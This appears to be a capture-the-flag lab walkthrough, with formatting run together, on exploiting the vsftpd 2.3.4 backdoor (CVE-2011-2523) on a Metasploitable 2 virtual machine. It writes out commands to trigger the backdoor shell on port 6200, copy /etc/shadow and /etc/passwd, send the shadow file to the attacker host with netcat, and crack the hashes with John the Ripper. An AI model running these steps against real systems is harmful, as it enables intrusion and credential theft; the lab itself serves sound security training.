
Step-by-step CTF walkthrough exploiting the vsftpd 2.3.4 backdoor (CVE-2011-2523) to capture and crack /etc/shadow and /etc/passwd from Metasploitable 2.
Capture the decrypted /etc/shadow and /etc/passwd file from vulnerable Metasploitable 2 server.
For this CTF, we run VMware Workstation Pro with two virtual machines. We utilize Kali Linux as the attacker's machine and Metasploitable 2 as the vulnerable machine.
Open a Virtual Machine Option in VMware Workstation and select unzipped Kali Linux fileopen option, then select unzipped Metasploitable 2 filePlay virtual machine button on both virtual machinesI moved It or I copied It option, select I copied It optionkali as the username and passwordmsfadmin as the username and passwordip addr show and record IP address of the inet sectionMassachusetts Institute of Technology Research and Engineering detail CVE-2011-2523 as a common vulnerability and exposure where vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp.
nmap <vulnerable-machine-ip-address>nc <vulnerable-machine-ip-address> 21:) on the end, enter user <string>:)pass <string> nc -v <vulnerable-machine-ip-address> 6200ip addr showwhoami/etc/shadow and /etc/passwd file into another filecp /etc/shadow shadow.txtcp /etc/passwd passwd.txtinet using command ip addr shownc -l -p 1234 > shadow.txt on attacker machinenc -w 3 <destination-ip> 1234 < shadow.txtJohn tool formatunshadow passwd.txt shadow.txt > unshadowed-inputcat unshadowed-input, should have username and password storedJohn command and wordlistrockyou.txt to crack hashes using johnsudo gzip -d /usr/share/wordlists/rockyou.txt.gzkalijohn unshadowed-input –wordlist=/usr/share/wordlists/rockyou.txtjohn –show unshadowed-input